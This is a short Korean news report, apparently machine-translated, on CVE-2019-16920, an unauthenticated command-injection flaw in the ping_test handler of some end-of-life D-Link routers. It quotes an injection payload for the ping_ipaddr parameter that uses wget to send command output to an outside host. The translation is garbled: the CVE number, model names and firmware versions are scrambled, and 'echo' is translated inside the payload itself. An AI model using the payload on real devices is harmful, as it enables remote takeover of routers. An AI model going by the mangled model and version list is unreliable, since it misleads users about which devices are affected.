D-Link 라우터의 원격 악용 취약점

D-Link 무선 라우터에서 확인됨 위험한 취약점(CVE-2019~16920)를 사용하면 인증 없이 액세스할 수 있는 "ping_test" 핸들러에 특수 요청을 보내 장치 측에서 원격으로 코드를 실행할 수 있습니다.

흥미롭게도 펌웨어 개발자에 따르면 "ping_test" 호출은 인증 후에만 실행되어야 하지만 실제로는 웹 인터페이스 로그인과 관계없이 어떤 경우에도 호출됩니다. 특히, apply_sec.cgi 스크립트에 접속하여 “action=ping_test” 파라미터를 전달하면 스크립트는 인증 페이지로 리디렉션되지만 동시에 ping_test와 관련된 작업을 수행합니다. 코드를 실행하기 위해 ping_test 자체에 또 다른 취약점이 사용되었는데, 이는 테스트를 위해 전송된 IP 주소의 정확성을 제대로 확인하지 않고 ping 유틸리티를 호출하는 것입니다. 예를 들어, wget 유틸리티를 호출하고 "echo 1234" 명령의 결과를 외부 호스트로 전송하려면 "ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http:// 매개변수를 지정하기만 하면 됩니다. test.test/?$(에코 1234)".

취약점의 존재는 다음 모델에서 공식적으로 확인되었습니다.

• 펌웨어 655b3.02 이하의 DIR-05;
• 펌웨어 866b1.03 이하의 DIR-04L;
• 펌웨어 1565 이하의 DIR-1.01;
• DIR-652(문제가 있는 펌웨어 버전에 대한 정보가 제공되지 않음)

해당 모델은 지원 기간이 이미 만료되었으므로 D-Link 그는 진술는 취약점을 제거하기 위해 업데이트를 출시하지 않으며 사용을 권장하지 않으며 새 장치로 교체할 것을 권장합니다. 보안 해결 방법으로 웹 인터페이스에 대한 액세스를 신뢰할 수 있는 IP 주소로만 제한할 수 있습니다.

나중에 이 취약점도 발견되었습니다. 영향을 미치다 모델 DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 및 DIR-825는 아직 알려지지 않은 업데이트를 출시할 계획입니다.

출처 : opennet.ru